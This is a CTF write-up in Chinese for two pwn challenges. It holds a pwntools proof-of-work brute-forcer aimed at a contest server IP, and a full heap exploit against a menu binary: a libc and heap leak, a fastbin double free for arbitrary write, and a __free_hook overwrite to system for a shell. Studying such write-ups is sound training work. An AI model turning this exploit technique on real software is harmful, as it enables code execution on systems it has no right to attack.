網鼎杯玄武pwn(第四場)

pwn1

就是爆破一下,記下來以後接着用

from pwn import *
p = remote('182.92.212.76', 31204)
p.recvuntil('x[:20] = ')
target = p.recvuntil('\n',True)
p.recvuntil('<built-in function openssl_')
x = p.recvuntil('>',True)
funtable = {
    "sha224":hashlib.sha224,
    "md5":hashlib.md5,
    "sha384":hashlib.sha384,
    "sha512":hashlib.sha512,
    "sha256":hashlib.sha256,
    "sha1":hashlib.sha1,

}
print(x)
print(target.replace('\n',''))

succ = False
for i in string.printable:
    if succ:
        break
    for j in string.printable:
        if succ:
            break
        for k in string.printable:
            if succ:
                break
            for m in string.printable:
                if succ:
                    break
                if funtable[x](i+j+k+m).hexdigest()[:20]==target:
                    print(i+j+k+m)
                    succ = True
                    p.sendline(i+j+k+m)
# p.sendlineafter('token','icq31ed04e8a71a59659a2d4c3cd553f')

p.interactive()

pwn3

花了一整天終於搞出來了

分析

  • add的時候有一些邏輯漏洞
    在這裏插入圖片描述
    當輸入3的時候會申請一個0x20的chunk(做筆記:malloc(0)會得到0x20的chunk)
  • free的時候指針沒有清零,沒有校驗,存在uaf和double free
    在這裏插入圖片描述
  • show和edit只能輸出和編輯一次,free過的不能edit

利用方法

泄露

unsorted bin雙鏈會有可以泄露出來libc地址和堆地址
需要注意的一點是這裏是add(3,"")#3 這樣後面的double free會用到(要不然會不能在14次malloc之內拿到shell)。
這裏發送的字符串是\x0a 爲了泄露的準確

add(1,"")#0        0
add(1,"")#1        1
add(1,"")#2`       2
add(3,"")#3        3
delete(0)
delete(2)
add(1,"")#4          0
show(4)

任意地址寫

這裏的chunk是有兩層的,利用double free申請到剛開始申請13次chunk的的空間,但是這時候只能寫8個字節,我寫入了一個size(0x21),爲了下一次double free做準備。
第二次double free就能修改一個指針了

add(3,"")#5
delete(5)
delete(3)
delete(5)
# #
print("13_1 heap "+hex(heap_base-0x1170-0x40))
add(3,p64(heap_base-0x1170-0x40))#6
add(3,p64(heap_base-0x1170-0x40))#7
add(3,p64(heap_base-0x1170-0x40))#8
add(3,p64(0x21))#9
# # # edit(3,"a"*0x100)
delete(5)
delete(3)
delete(5)
add(3,p64(heap_base-0x1170+8-0x40))#10
add(3,p64(heap_base-0x1170+8-0x40))#11
add(3,"/bin/sh\x00")#12

在這裏插入圖片描述
第一次double free在13個chunk的索引爲1的位置處指向空間的size部分寫入了0x21
第二次double free用上一次的size爲跳板寫入了free_hook的地址
這裏的size有兩重作用,第一重作爲跳板,double free能獲取到空間,第二重作爲一個size在edit的時候可以使用。

獲取shell

複寫__free_hook函數拿到shell

add(3,"/bin/sh\x00")#12


one=[0x45216,0x4526a,0xf02a4,0xf1147]
print("hook_malloc = "+hex(libc_addr+libc.symbols["__free_hook"]))
add(3,p64(libc_addr+libc.symbols["__free_hook"]))#13
gdb.attach(p)

edit(1,p64(libc_addr+libc.symbols["system"]))
# gdb.attach(p)

p.sendlineafter("Your choice:", "2")
p.sendlineafter("Index of country:", str(12))


p.interactive()

exp

from pwn import *
context.log_level="debug"
p=process("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")



# 1  0xa0   2 0x80
def add(endin,content):
   p.recvuntil("choice:\n")
   p.sendline("1")  #1 lagre
   p.sendlineafter("choice:\n",str(endin))
   p.sendlineafter("The 'Patient Zero' lives in:\n",content)
   p.recvuntil("Done.")

def delete(index):
   p.sendlineafter("Your choice:","2")
   p.sendlineafter("Index of country:",str(index))
   p.recvuntil("Done.")

def edit(index,content):
   p.sendlineafter("Your choice:", "3")
   p.sendlineafter("Index of country:\n", str(index))
   p.sendlineafter("Which cities to break out in?", content)

def show(index):
   p.sendlineafter("Your choice:", "4")
   p.sendlineafter("Index of country:",str(index))
   p.recvuntil("Current status:\x0a")


# 0xb0,0x90,0x10

offset_lib=0x3c4b0a
offset_heap=0x160   #chunk 0
add(1,"")#0        0
add(1,"")#1        1
add(1,"")#2`       2
add(3,"")#3        3
delete(0)
delete(2)
add(1,"")#4          0
show(4)
aa=p.recv(8)
bb=p.recv(8)
libc_addr=u64(aa)-offset_lib
print("libc base = "+hex(libc_addr))
heap_base=u64(bb)-offset_heap
print("heap_base = "+hex(heap_base))


# add(3,"\x91")#5
add(3,"")#5
delete(5)
delete(3)
delete(5)
# #
print("13_1 heap "+hex(heap_base-0x1170-0x40))
add(3,p64(heap_base-0x1170-0x40))#6
add(3,p64(heap_base-0x1170-0x40))#7
add(3,p64(heap_base-0x1170-0x40))#8
add(3,p64(0x21))#9
# # # edit(3,"a"*0x100)
delete(5)
delete(3)
delete(5)
add(3,p64(heap_base-0x1170+8-0x40))#10
add(3,p64(heap_base-0x1170+8-0x40))#11
add(3,"/bin/sh\x00")#12
one=[0x45216,0x4526a,0xf02a4,0xf1147]
print("hook_malloc = "+hex(libc_addr+libc.symbols["__free_hook"]))
add(3,p64(libc_addr+libc.symbols["__free_hook"]))#13

edit(1,p64(libc_addr+libc.symbols["system"]))
# gdb.attach(p)

p.sendlineafter("Your choice:", "2")
p.sendlineafter("Index of country:", str(12))


p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章